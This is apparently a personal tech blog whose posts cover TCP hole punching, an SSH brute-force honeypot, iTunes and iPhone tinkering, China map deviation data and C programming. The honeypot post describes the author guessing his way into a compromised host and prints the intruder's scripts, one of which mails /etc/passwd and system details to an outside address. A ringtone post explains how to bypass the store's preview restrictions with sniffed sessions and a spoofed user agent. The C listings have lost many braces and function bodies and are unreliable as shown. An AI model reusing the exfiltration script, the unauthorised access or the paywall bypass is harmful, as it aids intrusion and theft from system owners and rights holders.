Experiment on TCP Hole Punching


I recently need to find a way to connect to a subversion server behind a NAT. I used to tunnel through a SSH server with public IP. It worked perfectly, but recently I lost access to the server. So I want to try TCP hole punching.

It’s not hard to find related resource online. I followed the approach described in the paper “Peer-to-Peer Communication Across Network Address Translators”. The basic idea is to let both peers do connect and listen on the same port. If the internet gateway sees an outgoing SYN packet to X, the gateway will allow subsequent packets from X. As a result, at least one of the SYN packet should punch trough the NAT.

Before this, we need to know the external IP and port of both peers. Fortunately, most NAT implementations always map the same internal IP/port to the same external IP/port. It’s known as “independent mapping”. Even better, most NAT will use the same external port as the internal port if it’s not occupied. It’s known as “port preserving”. To know the external IP/port, we can connect to a third server and let it tell us, just like STUN.

So I implemented the idea in Ford’s paper.

#include <stdio.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>

#define DIE(format,...) do {perror(NULL); printf(format, ##__VA_ARGS__); exit(1);} while(0)

int say_something (int sock)
	char buff[256];
	int len, flags;

	flags = fcntl(sock, F_GETFL);
	flags = flags & (~ O_NONBLOCK);
	if (fcntl(sock, F_SETFL, flags))
		DIE("fcntl() failed\n");

	snprintf(buff, sizeof(buff), "Hello. I'm %d", getpid());
	printf("sending %s\n", buff);
	if (send(sock, buff, strlen(buff) + 1, 0) != strlen(buff) + 1)
		DIE("send() failed\n");

	len = recv(sock, buff, sizeof(buff), 0);
	if (len <= 0)
		DIE("recv() failed\n");
	printf("received %s\n", buff);

	return 0;

// TODO address type, length...
int getaddr (struct sockaddr *addr, const char *host, const char *port)
	struct addrinfo hints, *res;

	memset(&hints, 0, sizeof(hints));
	hints.ai_family = AF_INET;
	hints.ai_socktype = SOCK_STREAM;
	hints.ai_protocol = 0;
	hints.ai_flags = AI_PASSIVE;

	if (getaddrinfo(host, port, &hints, &res))
		return -1;

	if (res == NULL)
		return -1;

	memcpy(addr, res->ai_addr, res->ai_addrlen);
	return 0;

int main (int argc, char *argv[])
	int ssock, csock;
	struct sockaddr_in local_addr, remote_addr;
	fd_set rfds, wfds;
	struct timeval tv;
	int i;
	socklen_t len;

	if (argc != 4) {
		printf("Usage: %s localport remotehost remoteport\n", argv[0]);

	if (getaddr((struct sockaddr *)&local_addr, NULL, argv[1]))
		DIE("getaddr() failed\n");
	if (getaddr((struct sockaddr *)&remote_addr, argv[2], argv[3]))
		DIE("getaddr() failed\n");

	if ((ssock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
		DIE("socket() failed\n");
	if ((csock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
		DIE("socket() failed\n");

	i = 1;
	if (setsockopt(ssock, SOL_SOCKET, SO_REUSEADDR, &i, sizeof(int)))
		DIE("setsockopt() failed\n");
	if (setsockopt(csock, SOL_SOCKET, SO_REUSEADDR, &i, sizeof(i)))
		DIE("setsockopt() failed\n");

	if (bind(ssock, (const struct sockaddr *)&local_addr, sizeof(local_addr)))
		DIE("bind() failed\n");
	if (bind(csock, (const struct sockaddr *)&local_addr, sizeof(local_addr)))
		DIE("bind() failed\n");

	if (fork()) {

		if (listen(ssock, 1))
			DIE("listen() failed\n");
		while (1) {
			len = sizeof(remote_addr);
			i = accept(ssock, (struct sockaddr *)&remote_addr, &len);
			if (i < 0) {
				perror("accept() failed.");
			} else {
				printf("accept() succeed.");
				return say_something(i);
	} else {

		for (i = 0; i < 3; i ++) {
			if (connect(csock, (const struct sockaddr *)&remote_addr, sizeof(remote_addr))) {
				int sleeptime = random() * 1000000.0 / RAND_MAX + 1000000.0;
				sleeptime = sleeptime << i;
				perror("connect() failed");
				if (i < 2) {
					printf("sleeping for %.2f sec to retry\n", sleeptime / 1000000.0);
			} else {
				printf("connect() succeed");
				return say_something(csock);
		return 1;

It worked. host1 and host2 have external IP and respectively. Both NAT preserve ports so if host1 binds on port 30000, the external port is also 30000.

host1$ ./biconn 30000 20000
connect() failed: Connection timed out
sleeping for 1.13 sec to retry
connect() succeed: Connection timed out
sending Hello. I'm 8151
received Hello. I'm 6629
host2$ ./biconn 20000 30000
connect() failed: Connection refused
sleeping for 1.68 sec to retry
connect() succeed: Connection refused
sending Hello. I'm 6629
received Hello. I'm 8151

I noticed an unexpected behaviour. accept() never succeeded in either peer. connect() succeed in both peers.

Is it possible for two peers to symmetrically “connect()” to each other? Is question is not related to NAT. The answer is yes. Find any computer networks text book and look for the TCP state diagram. It’s possible to go from the SYN_SENT state to the SYN_RECV state by receiving a SYN packet. Someone has asked the question before.

So I wondered if I can remove the listen() part in the code, and use only one socket in each peer. A problem with the previous approach (as mentioned here) is that it’s not possible to bind additional sockets on the port after listen().

So I did the second experiment. It’s much cleaner.

#include <stdio.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/select.h>
#include <netinet/in.h>

void die (const char *msg)

int main (int argc, char *argv[])
	int sock;
	struct sockaddr_in addr;
	char buff[256];

	if (argc != 4) {
		printf("Usage: %s localport remotehost remoteport\n", argv[0]);

	if (sock < 0)
		die("socket() failed");

	memset(&addr, 0, sizeof(addr));
	addr.sin_family = AF_INET;
	addr.sin_addr.s_addr = htonl(INADDR_ANY);
	addr.sin_port = htons(atoi(argv[1]));
	if (bind(sock, (const struct sockaddr *)&addr, sizeof(addr)))
		die("bind() failed\n");

	memset(&addr, 0, sizeof(addr));
	addr.sin_family = AF_INET;
	addr.sin_addr.s_addr = inet_addr(argv[2]);
	addr.sin_port = htons(atoi(argv[3]));

	while (connect(sock, (const struct sockaddr *)&addr, sizeof(addr))) {
		if (errno != ETIMEDOUT) {
			perror("connect() failed. retry in 2 sec.");
		} else {
			perror("connect() failed.");

	snprintf(buff, sizeof(buff), "Hi, I'm %d.", getpid());
	printf("sending \"%s\"\n", buff);
	if (send(sock, buff, strlen(buff) + 1, 0) != strlen(buff) + 1)
		die("send() failed.");

	if (recv(sock, buff, sizeof(buff), 0) <= 0)
		die("recv() failed.");
	printf("received \"%s\"\n", buff);

	return 0;

It works. I wonder what’s the reason of doing listen(). Does it related to the way connection tracking is implemented in different type of NAT? Or does it related to the way TCP is implemented in different OS?

host1$ ./biconn1 20000 30000
connect() failed. retry in 2 sec.: Connection refused
sending "Hi, I'm 6566."
received "Hi, I'm 7600."
host2$ ./biconn1 30000 20000
connect() failed. retry in 2 sec.: Connection refused
connect() failed.: Connection timed out
connect() failed.: Connection timed out
sending "Hi, I'm 7600."
received "Hi, I'm 6566."

My objective is to connect to my subversion server in a NAT. Now, I still need a publicly accessible server to coordinate the hole punching. It basically works like this: In the subversion server I run a program with persistent connection to the public server. When I want to connect from outside, I can contact the public server, which then notifies my program in the subversion server. Then I can launch the TCP hole punching and get a TCP connection, which can then be used to tunnel the subversion connection.

Without possessing a public accessible server, other mechanisms can be used. I can think of the following mechanisms:

  • Online forum: Post the client’s external IP/port in a forum and have a program running in the subversion server to periodically check the forum.
  • DHT, e.g. the mainline bittorrent DHT: The server randomly generates a infohash, and “announce” itself to be downloading this infohash. The server then periodically queries for peers on the infohash. To do hole punching, the client also announces itself to be downloading it. The server sees a new peer joining, then both parties can do hole punching. The limitation is that two peers cannot exchange port information, thus they need to predetermine a particular port.
  • IRC bot
  • Public SIP registrar: It’s a bit overkill, but quite related, and well supported (plenty public servers and libraries).

I’m not sure if there is any existing tool for this purpose. Before IPv6 getting well established, there are going to be more and more servers behind NAT, so this is going to be handy. Please leave a comment if you know any.


analysing an ssh password bruteforce attack


Having setup my ssh honeypot, I had my first guest. I thought it might be a victim, so I tried to see whether it has a weak password. It turned out to be really weak. I got it on my second guess. It’s a x86 machine running RHEL5 and has an public IP address in Beijing. A quick glance at the running processes showed no obvious malicious processes. The bash history showed the most recent command was go.sh.

   68  cd /root/
   69  ls
   70  cd lamp-auto
   71  ls
   72  sh lamp-auto.sh
   73  cd
   74  cd /root/gosh
   75  ./go.sh 91

I don’t know why the hacker didn’t clear the history, but I’m certain that the hacker was the most recent logined user before me. The lastlog showed the previous login was from SC Aries Networks Group SRL (Romania). I believe this was from the hacker. It’s unlikely he created a fake lastlog. I tried to access that address but it was offline.

OK, let’s see that’s in /root/gosh.

[root@foo gosh]$ ls -al
total 9500
drwx--x--x   2 root root    4096 Jan 11 14:09 .
drwxrwxr-x. 10 root root    4096 Jan 11 21:50 ..
-rwx--x--x   1 root root 3346659 Jul 23  2006 1
-rwx--x--x   1 root root   54703 Apr 20  2008 2
-rwx--x--x   1 root root   28956 Apr 21  2008 3
-rwx--x--x   1 root root   54703 Apr 20  2008 4
-rwx--x--x   1 root root   26857 Aug 23  2005 5
-rwx--x--x   1 root root    1227 Jul 12  2011 a
-rw-r--r--   1 root root 2830095 Jan 11 16:40 bios.txt
-rwx--x--x   1 root root   22354 Dec  2  2004 common
-rwx--x--x   1 root root     265 Nov 25  2004 gen-pass.sh
-rwx--x--x   1 root root     120 Jul 30  2011 go.sh
-rwx--x--x   1 root root 1972243 Jan 11 16:40 mfu.txt
-rwx--x--x   1 root root     806 Jun 24  2012 pass_file
-rwx--x--x   1 root root   21407 Jul 22  2004 pscan2
-rwx--x--x   1 root root    5908 Jul 12  2011 scam
-rwx--x--x   1 root root     197 Aug 23  2005 secure
-rwx--x--x   1 root root  453972 Jul 13  2004 ss
-rwx--x--x   1 root root  842736 Nov 24  2004 ssh-scan
-rwxr-xr-x   1 root root   10974 Jan 11 16:59 vuln.txt

[root@foo gosh]$ file *
1:           C++ source, ISO-8859 text, with CRLF line terminators
2:           C source, ASCII text
3:           C++ source, ASCII text, with CRLF line terminators
4:           C source, ASCII text
5:           ASCII text
a:           ISO-8859 text
bios.txt:    ASCII text
common:      C++ source, ASCII text
gen-pass.sh: Bourne-Again shell script, ASCII text executable
go.sh:       ASCII text
mfu.txt:     ASCII text
pass_file:   ASCII text
pscan2:      ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.2.5, not stripped
scam:        Bourne-Again shell script, ASCII text executable
secure:      Bourne-Again shell script, ASCII text executable
ss:          ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.0.0, stripped
ssh-scan:    ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.0.0, stripped
vuln.txt:    ASCII text

The file 1 to 5 and pass_file are username and password pairs. Those are password dictionaries, no surprise, except there are two interesting long passwords, 7hur@y@t3am$#@!(*( and JFKGHDj3587561346tyhsdfgDFH75q4yeatHADF. Google gives a few hits, but no interesting finding. bios.txt is a list of 205763 IP addresses, including mine. No wonder I’m scanned. go.sh is the one in the bash history. Here’s the script:

perl pscan3
./ss 22 -a $1 -i eth0 -s 10
cat bios.txt |sort | uniq > mfu.txt
./ssh-scan 300
rm -f bios.txt
rm -rf pscan3

There is no file named pscan3, so I don’t know what the first line means. pscan2 is an ELF32 executable. The help message is:

Usage: ./pscan2 <b-block> <port> [c-block]

Other strings from the executable are

Invalid b-range.
# scanning:
%s.%d.* (total: %d) (%.1f%% done)
Unable to allocate socket.
Unable to set O_NONBLOCK
Invalid IP.
# pscan completed in %u seconds. (found %d ips)
Error: %s

So it’s a port scanner. Nothing fun. Let’s move to ss. The help message is:

usage: ./ss <port> [-a <a class> | -b <b class>] [-i <interface] [-s <speed>]
speed 10 -> as fast as possible, 1 -> it will take bloody ages (about 50 syns/s)

The hacker’s command was ./ss 22 -a 91 -i eth0 -s 10, so he’s a impatient person. From the strings in the executable, it looks like another port scanner. It uses libpcap to get the reply. The pcap filter (found in the strings dump) is (tcp[tcpflags]=0x12) and (src port %d) and (dst port %d), which selects ACK|SYN packets. Googling it’s SHA1 b45ae5d8d3069ee7f880dd461c931fa711b6ad3d gives me a virustotal report. Detection ratio is 30/46, so it’s quite well known.

OK, the last ELF file, ssh-scan. There isn’t any useful help message this time. From the strings, it looks like a ssh scanner. This is my guess: it reads IP addresses in mfu.txt, user:password pairs in pass_file, and output login results in vuln.txt. All file names are hard coded. I tried a few hosts in vuln.txt, some can login. ssh-scan’s SHA1 4f64a5b07b0c128771ea21bf4aa15610fc6b071c also gets hit in virustotal, with 30/42 detection ratio.

The shell script scam is used to mail the scan result to the hacker.


echo "[+] [+] [+] RK [+] [+] [+]" >> info2
echo "[+] [+] [+] IP [+] [+] [+]" >> info2
/sbin/ifconfig -a >> info2
echo "[+] [+] [+] uptime [+] [+] [+]" >> info2
uptime >> info2
echo "[+] [+] [+] uname -a [+] [+] [+]" >> info2
uname -a >> info2
echo "[+] [+] [+] /etc/issue [+] [+] [+]" >> info2
cat /etc/issue >> info2
echo "[+] [+] [+] passwd [+] [+] [+]" >> info2
cat /etc/passwd >> info2
echo "[+] [+] [+] id [+] [+] [+]" >> info2
id >> info2
echo "[+] [+] [+] Spatiu Hdd / pwd [+] [+] [+]" >> info2
df -h >> info2
pwd >> info2
cat info2 | mail -s "Scanner MaLa Port : ?? | Pass : stii tu :))" DaNioN@bk.ru
rm -rf info2

echo "####################################################################"
echo "#                       ______                                  "
echo "#                            .-.      .-.                               "
echo "#                           /            \                              "
echo "#                          |     zRR      |                             "
echo "#                          |,  .-.  .-.  ,|                             "
echo "#                          | )(z_/  \z_)( |                             "
echo "#                          |/     /\     \|                             "
echo "#                  _       (_     ^^     _)                             "
echo "#          _\ ____) \_______\__|IIIIII|__/_________________________     "
echo "#         (_)[___]{}<________|-\IIIIII/-|__zRR__zRR__zRR___________\    "
echo "#           /     )_/        \          /                               "
echo "#                             \ ______ /                                      "
echo "#                         SCANER PRIVAT                             "
echo "#             SCANER FOLOSIT DOAR DE TEAMUL MaLaSorTe               "
echo "#            SACNERUL CONTINE UN PASS_FLIE DE 3MEGA !!              "
echo "####################################################################"

if [ -f a ]; then
cat vuln.txt |mail -s "gosh" DaNioN@bk.ru
./a $1.0
./a $1.1
./a $1.2
./a $1.3
./a $1.4
./a $1.5
./a $1.6
./a $1.7
./a $1.8
./a $1.9
./a $1.10
cat vuln.txt |mail -s "gosh" DaNioN@bk.ru
./a $1.11
./a $1.255
killall -9 a
echo # Ciudat ..Nu Ai Urmat Instructiunile  #
echo # trebui dat mv assh a sau mv scan a   #
echo # orice ai avea tu ... dohh ..         #
killall -9 a
killall -9 pscan2

I can’t see any trace of this script been executed in this host. Google translate suggests it’s Romanian, but the hacker might not be the script author. Nevertheless, the language and the IP address match! The hacker’s email is DaNioN@bk.ru, which has only one Google hit. The script ./a prepares the input for ssh-scan and launches ssh-scan.

if [ $# != 1 ]; then
        echo " usage: $0 <b class>"

echo -e "33[1;31m?33[1;32m Created bY zRR 33[1;31m?33[0m"

./pscan2 $1 22

sleep 10
cat $1.pscan.22 |sort |uniq > mfu.txt
oopsnr2=`grep -c . mfu.txt`
echo "#          _\ ____) \_______  "
echo "#         (_)[_bY_]{}<zRR> "
echo "#         /     )_/         "
echo "#.......si DE root  ....... "
echo "                            "
echo -e "Checking33[1;34m user file33[0m pass 1"
cp 1 pass_file
./ssh-scan 100
sleep 3
echo -e "Checking33[1;31m root file33[0m pass 2"
cp 2 pass_file
./ssh-scan 100
sleep 3
echo -e "Checking33[1;34m user file33[0m pass 3"
cp 3 pass_file
./ssh-scan 100
sleep 3
echo -e "Checking33[1;34m user file33[0m pass 4"
cp 4 pass_file
./ssh-scan 100
sleep 3
echo -e "Checking33[1;31m root file33[0m pass 5"
cp 5 pass_file
./ssh-scan 100
rm -rf $1.pscan.22 mfu.txt
echo -e "33[1;31m?33[1;32mFuck .. continuam .. 33[1;31m?33[0m"

It even has terminal color. That’s quite uncommon for a background scanning tool. The hacker can’t sit there and watch the scanning, so what’s the purpose?

To conclude, this is a simple SSH password scanner. It’s simple in the sense it doesn’t propagate itself. The hacker has to manually install and launch it in a newly acquired host.

Strange problem of Singapore ICA’s SAVE system


I was trying to apply for visa yesterday. After I clicked the “Proceed to submit” button, I always get a blank page. Cleared cookie/cache, still same problem. I thought it’s because too many people applying visa. I tried after mid-night, still same problem. I tried school’s computer today, also same. Tried Firefox, failed at even an earlier step.

Tried my laptop and it succeed. I figured out that the reason of failure is probably adding the site in trusted sites. The web system requires turning off popup blocker for http://www.psi.gov.sg and http://www.enets.com.sg. I did that, and in addition I added both sites as trusted site. This unnecessary step turned out to cause the failure. I guess the reason is probably that when http://www.psi.gov.sg is trusted while singpass site is not, they are in different security zones, and there is problem in their handshake.

I’m a bit curious on why Firefox fails, so I checked the error console. The reason turned out to be the use of location.href(newurl), which Firefox considers as a property, not a method. If I manually types the url into the address bar, I can at least get to the singpass login page, which is one step further than the IE’s problem.

How to steal iPhone ringtone from iTunes shop?


In iTunes shop, all musics and ringtones have 30 seconds preview. Ringtones are always less than 30 seconds. That means the ringtone previews are always in full length. If we can hear it, we can download it (for free, of course). This article is to share on how to download ringtones and add to your iPhone for free. It works for all ringtones in iTune Store. The main intention is to use this as an example to illustrate common practices in network hacking.

First, get a network log of iPhone’s ringtone preview traffic. To do this, setup a sniff-able wifi environment. This might be difficult for some people, but I have an existing environment. All my internet traffic goes through my linux router, so I simply run tcpdump there. I use wireshark to analyze the saved dump file.

When I play a ringtone preview, I see the this request: http://a1778.phobos.apple.com/us/r1000/031/Music/9c/22/14/mzi.wphahwgb.aac.p.m4p. (Lucky it’s not https. If it’s https, I have to try self signed certificate and see if it can pass the check.) Quickly do a direct wget. I get error 403 forbidden. First reaction is user agent. Change UA to iPhone. succeed.

$ wget -U 'Apple iPhone OS v3.1.3 CoreMedia v1.0.0.7E18' 'http://a1778.phobos.apple.com/us/r1000/031/Music/9c/22/14/mzi.wphahwgb.aac.p.m4p'
--2010-04-09 01:53:43-- http://a1778.phobos.apple.com/us/r1000/031/Music/9c/22/14/mzi.wphahwgb.aac.p.m4p
Resolving a1778.phobos.apple.com...,
Connecting to a1778.phobos.apple.com||:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 493781 (482K) [text/plain]
Saving to: “mzi.wphahwgb.aac.p.m4p”

100%[=============================================================>] 493,781 256K/s in 1.9s

2010-04-09 01:53:45 (256 KB/s) - “mzi.wphahwgb.aac.p.m4p” saved [493781/493781]

Feed the m4p to a media player. It plays.

Up to here, we can already download the ringtone. Just follow previous steps and get the m4p url. It’s not very convenient though, as we have to use iphone and sniff to get the url. I want to get rid of the iphone step. I want to have a script to download a ringtone given it’s name, or have a script to download top 100 ringtone of a given genre.

For the top 100 script, I found out the url of top ringtone listing by genre to be something like http://ax.itunes.apple.com/WebObjects/MZStore.woa/wa/viewTop?selected-tab-index=0&top-ten-m=1%27%3B1&genreId=8004. However, the viewTop page requires sign-in. There are two ways to deal with sign-in. The hardworking way is to figure out the sign-in protocol and implement it. Usually it requires posting user id and password and get a session id. The dirty way is to sniff and get the session id, but we can only use the session before it expires. I’m not going into details about this. Here is the wget command to download the page. It’s a bit long because of those special X-apple-* headers. You can’t use it because 1. the session has expired; and 2. I have modified some of those IDs for my privacy. The page is an xml containing titles, artists, purchasing information, preview-url (the most important one for us), user ratings, etc.

wget -O - --header 'X-Apple-Store-Front: 143441-1,2' --header 'X-Apple-Partner: origin.0' --header 'X-Apple-Connection-Type: WiFi' --header 'X-Apple-Cuid: 068c5db16ca2b6956f7d582690613b68' --header 'X-Apple-Software-Cuid: 6a26ef98bfc6b1ef6f00694e61735a64' --header 'X-Dsid: 1369530585' --header 'X-Apple-Client-Application: WiFi-Music' --header 'Cookie: mz_at0=xQQUAABxlwAABABLsXbOCow79QEJcf6OqeR9C9ya+U87hxY=; mzf_in=180805; X-Dsid=1369530585; a=A2dAjgAAABtjAlRWMEsHtXFZZzAvdWlodAFxSTs5Ak1yOTjaSG9lYmtLdWcjKgsQAAdAJ5BiPTt=; Pod=18; s_cvp35b=%5B%5B%27google%253A%2520organic%27%2C%271369276708021%27%5D%2C%5B%27192.168.0.1%253A8000%27%2C%274278433477967%27%5D%5D; s_vi=[CS]v1|25C941528801054F-70001710E0178F3F[CE]; s_vnum_sg=ch%3Dip%26vn%3D1%3B; s_vnum_us=ch%3Dlegal%26vn%3D1%3Bch%3Dwebapps%26vn%3D3%3Bch%3Dip%26vn%3D2%3Bch%3Ddeveloper%26vn%3D1%3B' -U 'iTunes-iPhone/3.1.3 (2)' 'http://ax.itunes.apple.com/WebObjects/MZStore.woa/wa/viewTop?selected-tab-index=0&top-ten-m=1%27%3B1&genreId=8004'

There are many articles teaching how to add ringtones to iphone. I briefly describe here.

  1. Rename to .m4r
  2. Import (drag) to iTunes. It should appear under the ringtone directory in iTunes. Note: Don’t manually manage music and ringtone. Add to iTunes and sync. I tried the first way and failed miserably. I hate iTunes.
  3. You may want to change the metadata. Alternatively, before importing to iTunes, you can use opensource tools like mp4tags from libmp4v2 to change metadata. I prefer mp4tags, because it works in command line so that I can run in batch.
  4. Sync
  5. You should see the new ringtone in your iPhone.

So is it possible for apple to prevent this? I can think of a few solutions, but none of them work well.

  1. Do not provide preview. Customers won’t be happy.
  2. Add noise to preview. Shorten it to 10 seconds. Customers won’t be so happy.
  3. Use https or a custom protocol. “If we can hear it, we can download it.” It only makes hackers taking longer time. But, hey, hackers are the group of people having least money and most time.

Convert videos from iPhone using ffmpeg on Fedora 11


ffmpeg in fedora 11 doesn’t buildin faac library, which encodes AAC. I need to build my own ffmpeg from source.

  1. yum install lame-devel xvidcore-devel x264-devel faad2-devel faac-devel gsm-devel dirac-devel libogg-devel libtheora-devel speex-devel libvorbis-devel openjpeg-devel liboil-devel schroedinger-devel libraw1394-devel libdc1394-devel bzip2-devel alsa-lib-devel xorg-x11-proto-devel libXau-devel libxcb-devel libXdmcp-devel libX11-devel libvdpau-devel libXext-devel libXv-devel libXvMC-devel
    Some packages are in rpmfusion. You know what you need to do.
  2. download ffmpeg source and extract. I downloaded the latest version 0.5.1.
  3. ./configure --arch=pentium4 --enable-bzlib --enable-libdc1394 --enable-libdirac --enable-libfaad --enable-libgsm --enable-libmp3lame --enable-libopenjpeg --enable-libschroedinger --enable-libspeex --enable-libtheora --enable-libvorbis --enable-libx264 --enable-libxvid --enable-vdpau --enable-x11grab --enable-avfilter --enable-avfilter-lavf --enable-postproc --enable-swscale --enable-pthreads --enable-gpl --disable-stripping --cpu=pentium4 --enable-nonfree --enable-libfaac --prefix=/home/atp/install/ffmpeg-0.5.1
    I followed the configuration of ffmpeg from rpmfusion. The only changes made are:

    • --enable-nonfree --enable-libfaac
    • --prefix=/home/atp/install/ffmpeg-0.5.1(I never install my build using root.)
    • change i586 to pentium4 and removed some gcc options I don’t understand.
    • remove --disable-mmx2 --disable-sse --disable-ssse3 --disable-yasm
    • change to static build
  4. make
    make install

to be continued…

Noise problem with iTunes optimization


I noticed severe image noise after I transferred my 320×480 photos to my iPhone. This is probably to do with the so called “optimization” done by iTunes.

Below is my original image:

Original Image

Original Image

Below is the “processed” image: (How did I get it? Select the image in iPhone and send email.)

Processed Image

Processed Image

Notice the added noise and slightly increased saturation. I tried to google to find out a way to disable the processing. No luck.

I tried to run process monitor on iTunes and found out the optimization is done by iTunesPhotoProcessor.exe. The processed image was saved into a .ithmb file. After a couple of hours, I couldn’t figure out a way to prevent the optimization.

Here is another attempt: Below is a comparison of the two JPEG header information:
ExifTool Version Number : 8.00
File Name : original.jpg
Directory : .
File Size : 41 kB
File Modification Date/Time : 2010:03:09 23:16:14+08:00
File Type : JPEG
MIME Type : image/jpeg
JFIF Version : 1.02
Resolution Unit : None
X Resolution : 100
Y Resolution : 100
Quality : 80%
DCT Encode Version : 100
APP14 Flags 0 : [14], Encoded with Blend=1 downsampling
APP14 Flags 1 : (none)
Color Transform : YCbCr
Image Width : 320
Image Height : 480
Encoding Process : Baseline DCT, Huffman coding
Bits Per Sample : 8
Color Components : 3
Y Cb Cr Sub Sampling : YCbCr4:4:4 (1 1)
Image Size : 320x480

ExifTool Version Number : 8.00
File Name : processed.jpg
Directory : .
File Size : 55 kB
File Modification Date/Time : 2010:03:09 08:25:10+08:00
File Type : JPEG
MIME Type : image/jpeg
JFIF Version : 1.01
Resolution Unit : None
X Resolution : 1
Y Resolution : 1
Image Width : 320
Image Height : 480
Encoding Process : Baseline DCT, Huffman coding
Bits Per Sample : 8
Color Components : 3
Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2)
Image Size : 320x480

The most suspicious differences are X&Y Resolution and YCbCr. Could any of these be the culprit? For example, I can generate an image with the same parameter as the processed image and hope iTunes will skip the processing. I haven’t tried this method yet…

China Map Deviation as a Regression Problem


All published maps of China are deviated. GPS devices sold in China are modified to give the same deviated coordinates. If you don’t know, you may read here, here, here or here. Fortunately, the same deviation algorithm is applied on all maps I have seen, including Garmin (unistrong in China) GPS maps, mapabc.com, Google Maps/Earth. The algorithm is secrete and is only accessible by authority and companies such as garmin and google. Needless to say, this is very annoying for GPS users. Many individuals tried to discover the deviation algorithm by GPS measurement and correlation and found the algorithm to be not only nonlinear but very complicated to describe.

I accidentally found the Chinese version of Google Map ditu.google.com to be able to correlate satellite image with map, and it gives the amount of deviation for any location in China. This URL queries the deviation of 34.29273N,108.94695E (Xi’an): http://ditu.google.com/maps/vp?spn=0.001,0.001&t=h&z=18&vp=$34.29273,108.94695 (seems it’ doesn’t work now)

With enough sample data, we should be able to get a regression function, which, should resemble the deviation algorithm. I’m not good at regression so I’m putting up all my data and hope someone can help out. It can be downloaded from here. The format is very simple: four fields (longitude, latitude, longitude deviation and latitude deviation) separated by tab. Longitude deviation means (deviated_longitude – true_longitude). The points are sampled with 0.025 degree separation, i.e. 40 samples per degree. There are 1529737 points (lines of text) in the file. Only points in mainland China are available. Figure 1 and 2 shows an overview of the data.

There is another file, which contains samples from 8 selected lines (4 west-east, 4 south-north). The sample resolution is higher (200 samples per degree). It is used to plot Figure 3-6. I think it’s helpful for regression analysis.

Here are the plots of the data:

latitude deviation shown in color

Fig. 1. latitude deviation shown in color

longitude deviation shown in color

Fig. 2. longitude deviation shown in color

Fig. 3. longitude deviation v.s. longitude

Fig. 4. latitude deviation v.s. longitude

Fig. 5. longitude deviation v.s. latitude

Fig. 6. latitude deviation v.s. latitude

Some observations:

  1. The longitude deviation is always positive (deviate to the east). The maximum is 0.0085562 degree.
  2. The latitude deviation ranges from -0.0038542 (to the south) to +0.0028230 (to the north) degree.
  3. It’s very obvious that there are sinusoid component of period 1 and 1/3. (see Fig. 3, 4 and 6)
  4. Fig. 4. looks simple. You may think it’s f(x)=b*sin(a*x) + b*sin(3*a*x) + c*x + d. You are wrong. There are other small components.
  5. To make discussion easier, let’s define fdx(x,y) to be the longitude deviation of a point with longitude x and latitude y. Similarly, fdy(x,y) to be the latitude deviation of that point. So, Figure 3 shows fdx(x,25.12), fdx(x,32.24), … Figure 6 shows fdy(85.52,x), fdy(97.84,x)
  6. I suggest using fourier transform, but I’m not good at it.

Happy regression!

C Container Library


A container library is a data structure library for containing data. Common examples are stack, hash-table, tree and queue. Container libraries for C++ and Java are standardized by the Standard Template Library and the Java Collections Framework. However, C programs such as the Linux kernel, GTK/GLib, Apache httpd, usually implement their own modules for individual projects. There are a few generic C container libraries which I will discuss later. For some reason, none of them don’t get much attention, not to mention getting standardized. Browsing through the latest Fedora and Ubuntu packages, I don’t find any C container related library. (If you know any, please let me know by leaving a comment here.)

Before discussing individual existing c container libraries, I will give way to categorize them by memory management.

  • user-managed
    User of the library manages the container’s data structure memory. Usually the container data structure is put together with the data. The most notable example is the Linux kernel linked list.

    struct student {
       int student_id;
       /* This is the container DS. */
       struct list_head list;
    struct list_head *pos;
    list_for_each(pos, &head) {
       /* list_entry() is just pointer arithmetic */
       struct student *stu = list_entry(pos, struct student, list);
       printf("%d\n", stu->student_id);

    The main advantage of this type is memory efficiency, because container DS struct list_head is allocated together with data DS struct student.

  • lib-managed
  • immortal

Why I don’t like C++


I love C and Java, but I don’t like C++. C++ gives you lots of new stuff on top of C, but programming language isn’t supermarket, the more the better. Programming language shouldn’t go ad-hoc or evolution. It should go intelligent design.

C++ gives classes, inheritances, information encapsulation … lots of nice OO stuff. But on the other hand, it allows pointer manipulation. WTF! It’s like establishing a comprehensive, wonderful law, but the last rule says “You can break all the previous rules.”

C allows passing parameters by value or pointer. C++ introduces pass-by-reference which is semantically the same as pass-by-pointer but syntactically different. Being able to do the same thing in a thousand ways is not a plus for programing languages, I’d vote it to be a minus.

The only feature of C++ I like is variable declaration between statements, especially “for (int i=0 …”.

Star Charts


The 6 star charts were generated using pp3.

vernal equinox at equator at midnight
star chart during vernal equinox at equator at midnight

summer solstice at equator at midnight
star chart during summer solstice at equator at midnight

autumnal equinox at equator at midnight
star chart during autumnal equinox at equator at midnight

winter solstice at equator at midnight
star chart during winter solstice at equator at midnight

North Pole
star chart at North Pole

South Pole
star chart during South Pole